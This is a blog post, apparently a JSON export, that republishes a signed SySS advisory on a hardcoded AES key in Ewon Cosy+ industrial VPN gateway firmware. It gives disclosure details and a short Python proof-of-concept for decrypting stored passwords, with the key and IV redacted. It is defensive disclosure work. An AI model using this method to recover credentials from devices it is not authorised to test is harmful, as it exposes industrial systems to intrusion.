{"id":58983,"date":"2024-08-19T19:29:59","date_gmt":"2024-08-19T16:29:59","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180233\/SYSS-2024-032.txt"},"modified":"2024-08-19T19:29:59","modified_gmt":"2024-08-19T16:29:59","slug":"ewon-cosy-hardcoded-key","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ewon-cosy-hardcoded-key\/","title":{"rendered":"Ewon Cosy+ Hardcoded Key"},"content":{"rendered":"<p>&#8212;&#8211;BEGIN PGP SIGNED MESSAGE&#8212;&#8211;<br \/>Hash: SHA512<\/p>\n<p>Advisory ID: SYSS-2024-032<br \/>Product: Ewon Cosy+<br \/>Manufacturer: HMS Industrial Networks AB<br \/>Affected Version(s): Firmware Versions: &lt; 21.2s10 and &lt; 22.1s3<br \/>Tested Version(s): Firmware Version: 21.2s7<br \/>Vulnerability Type: Use of Hard-coded Cryptographic Key (CWE-321)<br \/>Risk Level: Medium<br \/>Solution Status: Fixed<br \/>Manufacturer Notification: 2024-04-10<br \/>Solution Date: 2024-07-18<br \/>Public Disclosure: 2024-08-11<br \/>CVE Reference: CVE-2024-33895<br \/>Author of Advisory: Moritz Abrell, SySS GmbH<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Overview:<\/p>\n<p>The Ewon Cosy+ is a VPN gateway used for remote access and maintenance<br \/>in industrial environments.<\/p>\n<p>The manufacturer describes the product as follows (see [1]):<\/p>\n<p>&#8220;The Ewon Cosy+ gateway establishes a secure VPN connection between<br \/>the machine (PLC, HMI, or other devices) and the remote engineer.<br \/>The connection happens through Talk2m, a highly secured industrial<br \/>cloud service. The Ewon Cosy+ makes industrial remote access easy<br \/>and secure like never before!&#8221;<\/p>\n<p>Due to the use of a hardcoded cryptographic key, an attacker is able to<br \/>decrypt encrypted data and retrieve sensitive information.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Vulnerability Details:<\/p>\n<p>The Ewon Cosy+ stores sensitive data such as passwords in an encrypted<br \/>format.<br \/>These values are included, e.g., in configuration backups.<\/p>\n<p>However, a symmetric encryption algorithm (AES-CBC-256) with hardcoded<br \/>and static cryptographic keys is used.<br \/>Thus, an attacker is able to decrypt that data and retrieve sensitive<br \/>information.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Proof of Concept (PoC):<\/p>\n<p>By analyzing the ELF executable &#8220;ewon&#8221; of an Ewon Cosy+ in a disassembler<br \/>and decompiler, e.g. Ghidra, the encryption mechanism could be reversed<br \/>and the hardcoded cryptographic key could be extracted.<\/p>\n<p>Used encryption algorithm: AES in CBC mode with a key length of 256 bit<\/p>\n<p>A simple Python script was developed to decrypt encrypted values:<\/p>\n<p>********************<br \/>import base64<br \/>import sys<br \/>from Crypto.Cipher import AES<br \/>from binascii import unhexlify<\/p>\n<p>def pad(text):<br \/>padding_length = AES.block_size &#8211; (len(text) % AES.block_size)<br \/>padded_text = text + bytes([padding_length] * padding_length)<br \/>return padded_text, padding_length<\/p>\n<p>encoded_text = sys.argv[1]\n<p>key_hex = &#8220;6367b0 [&#8230;]&#8221; # redacted<br \/>iv_hex = &#8220;28c9 [&#8230;]&#8221; # redacted<\/p>\n<p>key = unhexlify(key_hex)<br \/>iv = unhexlify(iv_hex)<\/p>\n<p>decoded_text = base64.b64decode(encoded_text[4:])<br \/>padded_text, padding_length = pad(decoded_text)<br \/>cipher = AES.new(key, AES.MODE_CBC, iv)<br \/>decrypted_text = cipher.decrypt(padded_text)<\/p>\n<p>print(&#8220;Plaintext: {}&#8221;.format(<br \/>decrypted_text[1:][:-padding_length-2].decode(&#8216;utf-8&#8217;)<br \/>))<br \/>****************<\/p>\n<p>$&gt; python3 decrypt_ewon_pwd.py &#8220;#_5_YARU3GSgNcElltjyMMqWfZwb&#8221;<br \/>Plaintext: adm:123<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Solution:<\/p>\n<p>According to the manufacturer note[4], the vulnerability was fixed<br \/>with the firmware versions 21.2s10 and 22.1s3.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Disclosure Timeline:<\/p>\n<p>2024-04-04: Vulnerability discovered<br \/>2024-04-10: Vulnerability reported to manufacturer<br \/>2024-04-11: Manufacturer acknowlegded the vulnerabilities and asked for<br \/>a publication date for all findings<br \/>2024-04-12: Proposed dates for a discussion about publication<br \/>2024-04-19: Manufacturer sent a technical overview of planned remediation<br \/>actions and details about the planned timeline<br \/>2024-04-30: CVE ID CVE-2024-33893[5] assigned by the manufacturer<br \/>2024-05-31: Manufacturer informed that the fix is in completion stage and<br \/>asked if the blog post[6] can be reviewed by HMS<br \/>2024-06-04: Proposed dates to review the blog post draft<br \/>2024-06-21: Inquiry about the status<br \/>2024-06-21: Received an out-of-office auto reply<br \/>2024-07-01: Inquiry about the status<br \/>2024-07-04: Inquiry about the status<br \/>2024-07-12: Inquiry about the status and letting the manufacturer know that<br \/>the vulnerability will be published within a talk at DEF CON[7]in August<br \/>2024-07-12: Manufacturer responded that the fix is planned by the end of<br \/>July; manufacturer asked again for reviewing the blog post<br \/>draft<br \/>2024-07-12: Again confirmed reviewing the blog post is possible and asking<br \/>for the sending of details<br \/>2024-07-17: Blog post provided to HMS<br \/>2024-07-18: Fixed firmware versions 21.2s10 and 22.1s3 released by HMS<br \/>2024-07-23: Inquiry about the status<br \/>2024-07-23: Manufacturer reviewed the blog post and confirmed that a<br \/>fix is provided<br \/>2024-07-29: Discussion with HMS about the blog post and final publication<br \/>actions<br \/>2024-08-11: Vulnerability disclosed at DEF CON[7]2024-08-11: Blog post published[6]\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>References:<\/p>\n[1] Ewon Cosy+ product website<br \/>https:\/\/www.hms-networks.com\/p\/ec71330-00ma-ewon-cosy-ethernet<br \/>[2] SySS Security Advisory SYSS-2024-032<br \/>https:\/\/www.syss.de\/fileadmin\/dokumente\/Publikationen\/Advisories\/SYSS-2024-032.txt<br \/>[3] SySS Responsible Disclosure Policy<br \/>https:\/\/www.syss.de\/en\/responsible-disclosure-policy<br \/>[4] Manufacturer note<br \/>https:\/\/hmsnetworks.blob.core.windows.net\/nlw\/docs\/default-source\/products\/cybersecurity\/security-advisory\/hms-security-advisory-2024-07-29-001&#8211;ewon-several-cosy&#8211;vulnerabilities.pdf<br \/>[5] CVE-2024-33895<br \/>https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2024-33895<br \/>[6] Blog post<br \/>https:\/\/blog.syss.com\/posts\/hacking-a-secure-industrial-remote-access-gateway\/<br \/>[7] DEF CON talk<br \/>https:\/\/defcon.org\/html\/defcon-32\/dc-32-speakers.html#54521<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Credits:<\/p>\n<p>This security vulnerability was found by Moritz Abrell of SySS GmbH.<\/p>\n<p>E-Mail:moritz.abrell@syss.de<br \/>Public Key:https:\/\/www.syss.de\/fileadmin\/dokumente\/PGPKeys\/Moritz_Abrell.asc<br \/>Key Fingerprint: 2927 7EB6 1A20 0679 79E9 87E6 AE0C 9BF8 F134 8B53<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Disclaimer:<\/p>\n<p>The information provided in this security advisory is provided &#8220;as is&#8221;<br \/>and without warranty of any kind. Details of this security advisory may<br \/>be updated in order to provide as accurate information as possible. The<br \/>latest version of this security advisory is available on the SySS website.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Copyright:<\/p>\n<p>Creative Commons &#8211; Attribution (by) &#8211; Version 3.0<br \/>URL:http:\/\/creativecommons.org\/licenses\/by\/3.0\/deed.en<br \/>&#8212;&#8211;BEGIN PGP SIGNATURE&#8212;&#8211;<\/p>\n<p>iQIzBAEBCgAdFiEEKSd+thogBnl56Yfmrgyb+PE0i1MFAmay420ACgkQrgyb+PE0<br \/>i1NNyw\/9GzNMWrKeghrwqgcJ01f8QJGo1L3ObWscyiMXxqne6Zo8VyIefvGY97hb<br \/>fZisL4BrzmK+NioLeP3SzM879yGbzU5dca7g5Cqf0qJh9mdU\/s6tkgdK+Duz3QdZ<br \/>9XPV+ovSDGSDk953fVhHrKUdsns9hMnRIoMkfPxZUm+KWXRIwRguNxl2\/q1xxgjt<br \/>2kqTldwgwgekKXXp+Uwt5Z8LUG0dU7pHHb3OCizJ81tOCHjwuJA3aUmyBachl4Vc<br \/>Nw7GwByxoKLTTEfj2CWtkfC4u9UXHUQJBDl51+qRPIVkG2g0jTSQ2AEIubtmi7IA<br \/>jA\/8PK5QONh0GHptj2LzeTqlcEX7834uIE0gHrR5pkFJvgUWoNueEZ9FIHRNZPLX<br \/>9Lhu52uiKogX5BVYeRIkbHAxmgf\/wojQ4AXE9BMvOgm0HSzjgIaVZ+cqNkMP1ey0<br \/>uDXPllHkWtA1IBeffhiVrfc11fLJJczkpN3hRevoa4D6hlNvOYrVUAY869vrJkA2<br \/>LHvFwLf1JDQaGiPCkglCcipjtXw+hqGE+zEYOWobXH4cIwdnPUG+VaAks9GcNEdN<br \/>o6QVfnLTveo8e1u11z8ftguYthMbhOJxVWPBWJv6XhiCXEw8Gh\/HonR6LfGQyRTe<br \/>Fk+qtF1Mih2ZNKnW+XmHHCjtXGgiarfjExVFnhXHbrE8sOHv90I=<br \/>=\/d8q<br \/>&#8212;&#8211;END PGP SIGNATURE&#8212;&#8211;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8212;&#8211;BEGIN PGP SIGNED MESSAGE&#8212;&#8211;Hash: SHA512 Advisory ID: SYSS-2024-032Product: Ewon Cosy+Manufacturer: HMS Industrial Networks ABAffected Version(s): Firmware Versions: &lt; 21.2s10 and &lt; 22.1s3Tested Version(s): Firmware Version: 21.2s7Vulnerability Type: Use of Hard-coded Cryptographic Key (CWE-321)Risk Level: MediumSolution Status: FixedManufacturer Notification: 2024-04-10Solution Date: 2024-07-18Public Disclosure: 2024-08-11CVE Reference: CVE-2024-33895Author of Advisory: Moritz Abrell, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: The Ewon &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58983","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58983","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58983"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58983\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58983"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58983"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58983"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}